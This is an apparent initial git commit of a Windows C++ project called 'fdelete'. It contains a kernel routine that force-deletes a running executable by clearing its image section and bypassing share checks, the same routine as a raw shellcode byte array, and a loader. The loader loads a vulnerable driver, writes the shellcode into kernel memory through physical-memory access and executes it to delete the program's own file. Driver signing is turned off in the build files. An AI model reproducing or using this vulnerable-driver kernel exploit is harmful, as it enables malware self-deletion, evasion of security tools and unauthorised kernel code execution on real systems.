init commit

master
xerox 3 years ago
parent b3a168453c
commit 8c4a5bb3d5

@ -0,0 +1,82 @@
#include <ntifs.h>
using ObReferenceObjectByHandleType = decltype(&ObReferenceObjectByHandle);
using ObfDereferenceObjectType = decltype(&ObfDereferenceObject);
using ZwCloseType = decltype(&ZwClose);
using IoCreateFileSpecifyDeviceObjectHintType = decltype(&IoCreateFileSpecifyDeviceObjectHint);
using ZwDeleteFileType = decltype(&ZwDeleteFile);
using RtlInitUnicodeStringType = decltype(&RtlInitUnicodeString);
typedef struct _IMPORT_STRUCT
{
ObReferenceObjectByHandleType ObReferenceObjectByHandlePtr;
ObfDereferenceObjectType ObfDereferenceObjectPtr;
ZwCloseType ZwClosePtr;
IoCreateFileSpecifyDeviceObjectHintType IoCreateFileSpecifyDeviceObjectHintPtr;
ZwDeleteFileType ZwDeleteFilePtr;
RtlInitUnicodeStringType RtlInitUnicodeStringPtr;
} IMPORT_STRUCT, *PIMPORT_STRUCT;
/*
Param: ImagePath
A pointer to a buffered Unicode string naming the file to be created or opened.
This value must be a fully qualified file specification, unless it is the name of a file relative
to the directory specified by RootDirectory. For example, \Device\Floppy1\myfile.dat or \??\B:\myfile.dat
could be the fully qualified file specification, provided that the floppy driver and overlying file system are already loaded.
(Note that \?? replaces \DosDevices as the name of the Win32 object namespace. \DosDevices will still work,
but \?? is translated faster by the object manager.)
*/
NTSTATUS EntryDelete(PIMPORT_STRUCT Imports, PWCHAR ImagePath)
{
HANDLE FileHandle;
NTSTATUS Status;
IO_STATUS_BLOCK IOBlock;
PDEVICE_OBJECT DeviceObject = nullptr;
PFILE_OBJECT FileObject = nullptr;
OBJECT_ATTRIBUTES FileAttributes;
UNICODE_STRING ImagePathUnicode;
Imports->RtlInitUnicodeStringPtr(&ImagePathUnicode, ImagePath);
RtlZeroMemory(&IOBlock, sizeof IOBlock);
InitializeObjectAttributes(&FileAttributes,
&ImagePathUnicode,
OBJ_CASE_INSENSITIVE,
NULL,
NULL);
if ((Status = Imports->IoCreateFileSpecifyDeviceObjectHintPtr(
&FileHandle,
SYNCHRONIZE | FILE_WRITE_ATTRIBUTES | FILE_READ_ATTRIBUTES | FILE_READ_DATA,
&FileAttributes,
&IOBlock,
NULL,
NULL,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_OPEN,
FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
NULL,
CreateFileTypeNone,
NULL,
IO_IGNORE_SHARE_ACCESS_CHECK,
DeviceObject)) != STATUS_SUCCESS)
return Status;
if ((Status = Imports->ObReferenceObjectByHandlePtr(
FileHandle, NULL, NULL, NULL, (PVOID*)&FileObject, NULL)) != STATUS_SUCCESS)
return Status;
FileObject->SectionObjectPointer->ImageSectionObject = 0;
FileObject->DeleteAccess = 1;
if ((Status = Imports->ZwDeleteFilePtr(&FileAttributes)) != STATUS_SUCCESS)
return Status;
Imports->ObfDereferenceObjectPtr(FileObject);
if ((Status = Imports->ZwClosePtr(FileHandle)) != STATUS_SUCCESS)
return Status;
return Status;
}

@ -0,0 +1,167 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|ARM">
<Configuration>Debug</Configuration>
<Platform>ARM</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|ARM">
<Configuration>Release</Configuration>
<Platform>ARM</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|ARM64">
<Configuration>Debug</Configuration>
<Platform>ARM64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|ARM64">
<Configuration>Release</Configuration>
<Platform>ARM64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{9DB808DB-1CDD-4787-94DF-52D12E781348}</ProjectGuid>
<TemplateGuid>{1bc93793-694f-48fe-9372-81e2b05556fd}</TemplateGuid>
<TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
<MinimumVisualStudioVersion>12.0</MinimumVisualStudioVersion>
<Configuration>Debug</Configuration>
<Platform Condition="'$(Platform)' == ''">Win32</Platform>
<RootNamespace>fdelete_km</RootNamespace>
<WindowsTargetPlatformVersion>$(LatestTargetPlatformVersion)</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<TargetVersion>Windows10</TargetVersion>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>WindowsKernelModeDriver10.0</PlatformToolset>
<ConfigurationType>Driver</ConfigurationType>
<DriverType>KMDF</DriverType>
<DriverTargetPlatform>Universal</DriverTargetPlatform>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<TargetVersion>Windows10</TargetVersion>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>WindowsKernelModeDriver10.0</PlatformToolset>
<ConfigurationType>Driver</ConfigurationType>
<DriverType>KMDF</DriverType>
<DriverTargetPlatform>Universal</DriverTargetPlatform>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<TargetVersion>Windows10</TargetVersion>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>WindowsKernelModeDriver10.0</PlatformToolset>
<ConfigurationType>Driver</ConfigurationType>
<DriverType>KMDF</DriverType>
<DriverTargetPlatform>Universal</DriverTargetPlatform>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<TargetVersion>Windows10</TargetVersion>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>WindowsKernelModeDriver10.0</PlatformToolset>
<ConfigurationType>Driver</ConfigurationType>
<DriverType>KMDF</DriverType>
<DriverTargetPlatform>Universal</DriverTargetPlatform>
<Driver_SpectreMitigation>false</Driver_SpectreMitigation>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration">
<TargetVersion>Windows10</TargetVersion>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>WindowsKernelModeDriver10.0</PlatformToolset>
<ConfigurationType>Driver</ConfigurationType>
<DriverType>KMDF</DriverType>
<DriverTargetPlatform>Universal</DriverTargetPlatform>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration">
<TargetVersion>Windows10</TargetVersion>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>WindowsKernelModeDriver10.0</PlatformToolset>
<ConfigurationType>Driver</ConfigurationType>
<DriverType>KMDF</DriverType>
<DriverTargetPlatform>Universal</DriverTargetPlatform>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM64'" Label="Configuration">
<TargetVersion>Windows10</TargetVersion>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>WindowsKernelModeDriver10.0</PlatformToolset>
<ConfigurationType>Driver</ConfigurationType>
<DriverType>KMDF</DriverType>
<DriverTargetPlatform>Universal</DriverTargetPlatform>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM64'" Label="Configuration">
<TargetVersion>Windows10</TargetVersion>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>WindowsKernelModeDriver10.0</PlatformToolset>
<ConfigurationType>Driver</ConfigurationType>
<DriverType>KMDF</DriverType>
<DriverTargetPlatform>Universal</DriverTargetPlatform>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>
<EnableInf2cat>false</EnableInf2cat>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
<DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM64'">
<DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM64'">
<DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<LanguageStandard>stdcpp17</LanguageStandard>
<BufferSecurityCheck>false</BufferSecurityCheck>
<ControlFlowGuard>false</ControlFlowGuard>
<TreatWarningAsError>false</TreatWarningAsError>
<Optimization>Full</Optimization>
</ClCompile>
<Link>
<EntryPointSymbol>EntryDelete</EntryPointSymbol>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<FilesToPackage Include="$(TargetPath)" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="entry.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

@ -0,0 +1,14 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="entry.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>

@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<SignMode>Off</SignMode>
</PropertyGroup>
</Project>

@ -0,0 +1,66 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.30907.101
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "fdelete", "fdelete\fdelete.vcxproj", "{6310781F-8D12-437E-A9D5-93380DE21111}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "fdelete-km", "fdelete-km\fdelete-km.vcxproj", "{9DB808DB-1CDD-4787-94DF-52D12E781348}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|ARM = Debug|ARM
Debug|ARM64 = Debug|ARM64
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|ARM = Release|ARM
Release|ARM64 = Release|ARM64
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{6310781F-8D12-437E-A9D5-93380DE21111}.Debug|ARM.ActiveCfg = Release|x64
{6310781F-8D12-437E-A9D5-93380DE21111}.Debug|ARM.Build.0 = Release|x64
{6310781F-8D12-437E-A9D5-93380DE21111}.Debug|ARM64.ActiveCfg = Release|x64
{6310781F-8D12-437E-A9D5-93380DE21111}.Debug|ARM64.Build.0 = Release|x64
{6310781F-8D12-437E-A9D5-93380DE21111}.Debug|x64.ActiveCfg = Release|x64
{6310781F-8D12-437E-A9D5-93380DE21111}.Debug|x64.Build.0 = Release|x64
{6310781F-8D12-437E-A9D5-93380DE21111}.Debug|x86.ActiveCfg = Release|x64
{6310781F-8D12-437E-A9D5-93380DE21111}.Debug|x86.Build.0 = Release|x64
{6310781F-8D12-437E-A9D5-93380DE21111}.Release|ARM.ActiveCfg = Release|x64
{6310781F-8D12-437E-A9D5-93380DE21111}.Release|ARM64.ActiveCfg = Release|x64
{6310781F-8D12-437E-A9D5-93380DE21111}.Release|x64.ActiveCfg = Release|x64
{6310781F-8D12-437E-A9D5-93380DE21111}.Release|x64.Build.0 = Release|x64
{6310781F-8D12-437E-A9D5-93380DE21111}.Release|x86.ActiveCfg = Release|x64
{9DB808DB-1CDD-4787-94DF-52D12E781348}.Debug|ARM.ActiveCfg = Debug|ARM
{9DB808DB-1CDD-4787-94DF-52D12E781348}.Debug|ARM.Build.0 = Debug|ARM
{9DB808DB-1CDD-4787-94DF-52D12E781348}.Debug|ARM.Deploy.0 = Debug|ARM
{9DB808DB-1CDD-4787-94DF-52D12E781348}.Debug|ARM64.ActiveCfg = Debug|ARM64
{9DB808DB-1CDD-4787-94DF-52D12E781348}.Debug|ARM64.Build.0 = Debug|ARM64
{9DB808DB-1CDD-4787-94DF-52D12E781348}.Debug|ARM64.Deploy.0 = Debug|ARM64
{9DB808DB-1CDD-4787-94DF-52D12E781348}.Debug|x64.ActiveCfg = Debug|x64
{9DB808DB-1CDD-4787-94DF-52D12E781348}.Debug|x64.Build.0 = Debug|x64
{9DB808DB-1CDD-4787-94DF-52D12E781348}.Debug|x64.Deploy.0 = Debug|x64
{9DB808DB-1CDD-4787-94DF-52D12E781348}.Debug|x86.ActiveCfg = Debug|Win32
{9DB808DB-1CDD-4787-94DF-52D12E781348}.Debug|x86.Build.0 = Debug|Win32
{9DB808DB-1CDD-4787-94DF-52D12E781348}.Debug|x86.Deploy.0 = Debug|Win32
{9DB808DB-1CDD-4787-94DF-52D12E781348}.Release|ARM.ActiveCfg = Release|ARM
{9DB808DB-1CDD-4787-94DF-52D12E781348}.Release|ARM.Build.0 = Release|ARM
{9DB808DB-1CDD-4787-94DF-52D12E781348}.Release|ARM.Deploy.0 = Release|ARM
{9DB808DB-1CDD-4787-94DF-52D12E781348}.Release|ARM64.ActiveCfg = Release|ARM64
{9DB808DB-1CDD-4787-94DF-52D12E781348}.Release|ARM64.Build.0 = Release|ARM64
{9DB808DB-1CDD-4787-94DF-52D12E781348}.Release|ARM64.Deploy.0 = Release|ARM64
{9DB808DB-1CDD-4787-94DF-52D12E781348}.Release|x64.ActiveCfg = Release|x64
{9DB808DB-1CDD-4787-94DF-52D12E781348}.Release|x64.Build.0 = Release|x64
{9DB808DB-1CDD-4787-94DF-52D12E781348}.Release|x64.Deploy.0 = Release|x64
{9DB808DB-1CDD-4787-94DF-52D12E781348}.Release|x86.ActiveCfg = Release|Win32
{9DB808DB-1CDD-4787-94DF-52D12E781348}.Release|x86.Build.0 = Release|Win32
{9DB808DB-1CDD-4787-94DF-52D12E781348}.Release|x86.Deploy.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {6969C098-4E84-419C-8E52-9974738B86A9}
EndGlobalSection
EndGlobal

@ -0,0 +1,92 @@
#pragma once
#include "vdm_ctx/vdm_ctx.hpp"
namespace fdelete
{
typedef struct _import_struct_t
{
void* ObReferenceObjectByHandlePtr;
void* ObfDereferenceObjectPtr;
void* ZwClosePtr;
void* IoCreateFileSpecifyDeviceObjectHintPtr;
void* ZwDeleteFilePtr;
void* RtlInitUnicodeStringPtr;
} import_struct_t, *pimport_struct_t;
using entry_delete_t = NTSTATUS(*)(pimport_struct_t, const wchar_t* image_path);
using ex_allocate_t = void* (*)(std::uint16_t, std::size_t);
using ex_free_t = bool(*)(void*);
// NTSTATUS EntryDelete(PIMPORT_STRUCT Imports, PWCHAR ImagePath)
inline unsigned char shellcode[275] =
{
0x48, 0x89, 0x5C, 0x24, 0x10, 0x55, 0x48, 0x8D, 0x6C, 0x24, 0xA9, 0x48,
0x81, 0xEC, 0xD0, 0x00, 0x00, 0x00, 0x48, 0x83, 0x65, 0x67, 0x00, 0x48,
0x8B, 0xD9, 0x48, 0x8D, 0x4D, 0x07, 0xFF, 0x53, 0x28, 0x48, 0x83, 0x64,
0x24, 0x70, 0x00, 0x48, 0x8D, 0x45, 0x07, 0x48, 0x83, 0x65, 0x2F, 0x00,
0x4C, 0x8D, 0x4D, 0x17, 0xC7, 0x44, 0x24, 0x68, 0x00, 0x08, 0x00, 0x00,
0x4C, 0x8D, 0x45, 0x27, 0x48, 0x83, 0x64, 0x24, 0x60, 0x00, 0x48, 0x8D,
0x4D, 0x77, 0x83, 0x64, 0x24, 0x58, 0x00, 0x0F, 0x57, 0xC0, 0x83, 0x64,
0x24, 0x50, 0x00, 0xBA, 0x81, 0x01, 0x10, 0x00, 0x48, 0x83, 0x64, 0x24,
0x48, 0x00, 0xC7, 0x44, 0x24, 0x40, 0x60, 0x00, 0x00, 0x00, 0xC7, 0x44,
0x24, 0x38, 0x01, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x30, 0x07, 0x00,
0x00, 0x00, 0x83, 0x64, 0x24, 0x28, 0x00, 0x48, 0x83, 0x64, 0x24, 0x20,
0x00, 0x48, 0x89, 0x45, 0x37, 0x48, 0x8B, 0x43, 0x18, 0x0F, 0x11, 0x45,
0x17, 0xC7, 0x45, 0x27, 0x30, 0x00, 0x00, 0x00, 0xC7, 0x45, 0x3F, 0x40,
0x00, 0x00, 0x00, 0xF3, 0x0F, 0x7F, 0x45, 0x47, 0xFF, 0xD0, 0x85, 0xC0,
0x75, 0x58, 0x48, 0x83, 0x64, 0x24, 0x28, 0x00, 0x48, 0x8D, 0x4D, 0x67,
0x48, 0x8B, 0x03, 0x45, 0x33, 0xC9, 0x48, 0x89, 0x4C, 0x24, 0x20, 0x45,
0x33, 0xC0, 0x48, 0x8B, 0x4D, 0x77, 0x33, 0xD2, 0xFF, 0xD0, 0x85, 0xC0,
0x75, 0x34, 0x48, 0x8B, 0x45, 0x67, 0x48, 0x8B, 0x48, 0x28, 0x48, 0x83,
0x61, 0x10, 0x00, 0x48, 0x8D, 0x4D, 0x27, 0x48, 0x8B, 0x45, 0x67, 0xC6,
0x40, 0x4C, 0x01, 0x48, 0x8B, 0x43, 0x20, 0xFF, 0xD0, 0x85, 0xC0, 0x75,
0x11, 0x48, 0x8B, 0x4D, 0x67, 0xFF, 0x53, 0x08, 0x48, 0x8B, 0x43, 0x10,
0x48, 0x8B, 0x4D, 0x77, 0xFF, 0xD0, 0x48, 0x8B, 0x9C, 0x24, 0xE8, 0x00,
0x00, 0x00, 0x48, 0x81, 0xC4, 0xD0, 0x00, 0x00, 0x00, 0x5D, 0xC3
};
auto remove(vdm::vdm_ctx* vdm, const wchar_t* image_path) -> bool
{
static const auto ex_allocate_pool =
util::get_kmodule_export("ntoskrnl.exe", "ExAllocatePool");
static const auto ex_free_pool =
util::get_kmodule_export("ntoskrnl.exe", "ExFreePool");
static import_struct_t imports;
static std::once_flag once;
std::call_once(once, [&]()-> void
{
imports.IoCreateFileSpecifyDeviceObjectHintPtr =
util::get_kmodule_export("ntoskrnl.exe", "IoCreateFileSpecifyDeviceObjectHint");
imports.ObfDereferenceObjectPtr =
util::get_kmodule_export("ntoskrnl.exe", "ObfDereferenceObject");
imports.ObReferenceObjectByHandlePtr =
util::get_kmodule_export("ntoskrnl.exe", "ObReferenceObjectByHandle");
imports.RtlInitUnicodeStringPtr =
util::get_kmodule_export("ntoskrnl.exe", "RtlInitUnicodeString");
imports.ZwClosePtr =
util::get_kmodule_export("ntoskrnl.exe", "ZwClose");
imports.ZwDeleteFilePtr =
util::get_kmodule_export("ntoskrnl.exe", "ZwDeleteFile");
});
const auto shellcode_base =
vdm->syscall<ex_allocate_t>(
ex_allocate_pool, NULL, sizeof shellcode);
vdm->wkm(shellcode_base, shellcode, sizeof shellcode);
const auto result =
vdm->syscall<entry_delete_t>(
shellcode_base, &imports, image_path);
vdm->syscall<ex_free_t>(ex_free_pool, shellcode_base);
return result == STATUS_SUCCESS;
}
}

@ -0,0 +1,69 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{6310781f-8d12-437e-a9d5-93380de21111}</ProjectGuid>
<RootNamespace>fdelete</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="main.cpp" />
<ClCompile Include="vdm_ctx\vdm_ctx.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="fdelete.hpp" />
<ClInclude Include="util\loadup.hpp" />
<ClInclude Include="util\nt.hpp" />
<ClInclude Include="util\util.hpp" />
<ClInclude Include="vdm\raw_driver.hpp" />
<ClInclude Include="vdm\vdm.hpp" />
<ClInclude Include="vdm_ctx\vdm_ctx.hpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

@ -0,0 +1,50 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Header Files\util">
<UniqueIdentifier>{2fdaab14-9e4c-4d36-98f3-719fd08b4fd2}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\vdm">
<UniqueIdentifier>{8b2b158e-1b60-48f4-bbda-9cd24234ac6c}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="main.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="vdm_ctx\vdm_ctx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="util\loadup.hpp">
<Filter>Header Files\util</Filter>
</ClInclude>
<ClInclude Include="util\nt.hpp">
<Filter>Header Files\util</Filter>
</ClInclude>
<ClInclude Include="util\util.hpp">
<Filter>Header Files\util</Filter>
</ClInclude>
<ClInclude Include="vdm\raw_driver.hpp">
<Filter>Header Files\vdm</Filter>
</ClInclude>
<ClInclude Include="vdm\vdm.hpp">
<Filter>Header Files\vdm</Filter>
</ClInclude>
<ClInclude Include="vdm_ctx\vdm_ctx.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="fdelete.hpp">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>

@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

@ -0,0 +1,41 @@
#include <Windows.h>
#include <psapi.h>
#include "fdelete.hpp"
int main()
{
auto [drv_handle, drv_key, drv_status] = vdm::load_drv();
if (drv_status != STATUS_SUCCESS or drv_handle == INVALID_HANDLE_VALUE)
{
std::printf("load driver failed... reason: 0x%x\n", drv_status);
return -1;
}
vdm::read_phys_t _read_phys =
[&](void* addr, void* buffer, std::size_t size) -> bool
{
return vdm::read_phys(addr, buffer, size);
};
vdm::write_phys_t _write_phys =
[&](void* addr, void* buffer, std::size_t size) -> bool
{
return vdm::write_phys(addr, buffer, size);
};
wchar_t process_name[MAX_PATH];
memset(process_name, NULL, MAX_PATH);
GetProcessImageFileNameW(GetCurrentProcess(), process_name, MAX_PATH);
std::printf("file path: %ws\n", process_name);
vdm::vdm_ctx vdm(_read_phys, _write_phys);
std::printf("delete file result: %d\n", fdelete::remove(&vdm, process_name));
std::getchar();
if ((drv_status = vdm::unload_drv(drv_handle, drv_key)) != STATUS_SUCCESS)
{
std::printf("failed to unload driver... reason: 0x%x\n", drv_status);
return -1;
}
}

@ -0,0 +1,262 @@
/*
MIT License
Copyright (c) 2020 xerox
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
#pragma once
#include <Windows.h>
#include <Winternl.h>
#include <string>
#include <fstream>
#include <filesystem>
#include <ntstatus.h>
#pragma comment(lib, "ntdll.lib")
extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING);
extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING);
namespace driver
{
namespace util
{
__forceinline auto delete_service_entry(const std::string& service_name) -> bool
{
HKEY reg_handle;
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
auto result = RegOpenKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) &&
ERROR_SUCCESS == RegCloseKey(reg_handle);;
}
__forceinline auto create_service_entry(const std::string& drv_path, const std::string& service_name) -> bool
{
HKEY reg_handle;
std::string reg_key("System\\CurrentControlSet\\Services\\");
reg_key += service_name;
auto result = RegCreateKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
if (result != ERROR_SUCCESS)
return false;
